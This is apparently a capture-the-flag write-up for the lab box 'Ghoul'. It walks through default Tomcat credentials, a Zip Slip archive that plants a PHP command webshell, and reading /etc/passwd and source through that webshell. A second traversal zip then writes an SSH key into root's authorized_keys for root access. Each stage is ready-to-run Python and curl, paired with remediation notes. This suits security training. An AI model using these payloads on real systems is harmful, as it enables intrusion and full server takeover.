Ghoul
Summary
Target ghoul ($TARGET) was fully compromised to root through a two-stage exploitation of a Zip Slip path-traversal vulnerability in a Tomcat-hosted file-upload application. Default credentials (admin:admin) on the Tomcat HTTP Basic authentication wall exposed a zip-upload form whose archive extraction handler accepted and expanded entry names containing directory-traversal sequences without any sanitisation.
A first malicious zip dropped a PHP webshell directly into the Apache :80 docroot, giving unauthenticated remote code execution as the web-server user (www-data). Because the Tomcat container's extraction subprocess ran as root, a second malicious zip was crafted with entries targeting /root/.ssh/authorized_keys and /home/kaneki/.ssh/authorized_keys, implanting my own SSH public key with root write access.
Both accounts were then accessed directly over SSH: no SUID binary, sudo misconfiguration, or kernel exploit required. User.txt and root.txt were captured in the same SSH session.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"Attack path: how the box was taken
Exact commands 3
Version-detect scan against the four discovered ports.
$ nmap -Pn -sV -p 22,80,2222,8080 $TARGETConfirm HTTP Basic auth challenge and realm label on the Tomcat instance.
$ curl -s -i http://$TARGET:8080/Confirm the Apache :80 static site is unauthenticated: the target for the eventual webshell write.
$ curl -s -i http://$TARGET/Exact commands 2
Test default Tomcat credentials; 200 response and session cookie confirm authenticated access.
$ curl -s -i -u admin:admin http://$TARGET:8080/Extract the upload form's action path and field name from the returned HTML.
$ curl -s -u admin:admin http://$TARGET:8080/ | grep -i 'form\|upload\|action'FixReplace default Tomcat application credentials with a strong, unique passphraseCritical
Exact commands 3
Build the malicious zip; the entry name traverses 10 directory levels upward to reach /var/www/html.
$ python3 - <<'PY'
import zipfile
payload = b'<?php if(isset($_REQUEST["cmd"])){ system($_REQUEST["cmd"]); } ?>\n'
arc = '../../../../../../../../../../var/www/html/sh.php'
with zipfile.ZipFile('/tmp/ghoul_shell.zip','w',zipfile.ZIP_DEFLATED) as z:
z.writestr(arc, payload)
print('created /tmp/ghoul_shell.zip with', arc)
PYUpload the zip; Tomcat extracts it and writes sh.php to the Apache docroot.
$ curl -s -i -u admin:admin -F 'file=@/tmp/ghoul_shell.zip;type=application/zip' http://$TARGET:8080/upload | head -n 40Confirm unauthenticated RCE; expect uid=33(www-data).
$ curl -s --get --data-urlencode 'cmd=id' http://$TARGET/sh.phpFixSanitise archive entry names before extraction to prevent Zip Slip path traversalCritical
Exact commands 4
Confirm identity, hostname, and kernel version.
$ curl -s --get --data-urlencode 'cmd=id && hostname && uname -a' http://$TARGET/sh.phpEnumerate all local user accounts.
$ curl -s --get --data-urlencode 'cmd=cat /etc/passwd' http://$TARGET/sh.phpRead application source to discover hardcoded credential array.
$ curl -s --get --data-urlencode 'cmd=cat /var/www/html/users/login.php' http://$TARGET/sh.phpConfirm the Tomcat extraction process runs as root: prerequisite for the next Zip Slip stage.
$ curl -s --get --data-urlencode 'cmd=ps aux | grep -E "java|tomcat|root"' http://$TARGET/sh.phpExact commands 3
Generate a fresh ed25519 keypair with no passphrase; /tmp/ghoul_ed is the private key.
$ ssh-keygen -t ed25519 -f /tmp/ghoul_ed -N '' -C ghoulBuild the second malicious zip; both entries traverse to their respective authorized_keys paths.
$ python3 - <<'PY'
import zipfile
with open('/tmp/ghoul_ed.pub','rb') as f:
pubkey = f.read()
entries = [
'../../../../../../../../../../root/.ssh/authorized_keys',
'../../../../../../../../../../home/kaneki/.ssh/authorized_keys'
]
with zipfile.ZipFile('/tmp/ghoul_keys.zip','w',zipfile.ZIP_DEFLATED) as z:
for e in entries:
z.writestr(e, pubkey)
print('created /tmp/ghoul_keys.zip')
PYUpload; Tomcat's root-owned extractor writes my pubkey to both authorized_keys files.
$ curl -s -u admin:admin -F 'file=@/tmp/ghoul_keys.zip;type=application/zip' http://$TARGET:8080/uploadFixRun the Tomcat container and its archive extraction process as a dedicated non-root userCritical
Exact commands 3
Confirm root-level SSH access; expect uid=0(root).
$ ssh -i /tmp/ghoul_ed -o IdentitiesOnly=yes -o StrictHostKeyChecking=no root@$TARGET 'id; hostname'
uid=0(root)Read root flag; actual value is <root.txt>.
$ ssh -i /tmp/ghoul_ed -o IdentitiesOnly=yes -o StrictHostKeyChecking=no root@$TARGET 'cat /root/root.txt'Read user flag; actual value is <user.txt>.
$ ssh -i /tmp/ghoul_ed -o IdentitiesOnly=yes -o StrictHostKeyChecking=no kaneki@$TARGET 'cat /home/kaneki/user.txt'Exposed services
| 22/tcp | ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.29 ((Ubuntu)) |
| 2222/tcp | ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0) |
| 8080/tcp | http Apache Tomcat/Coyote JSP engine 1.1 |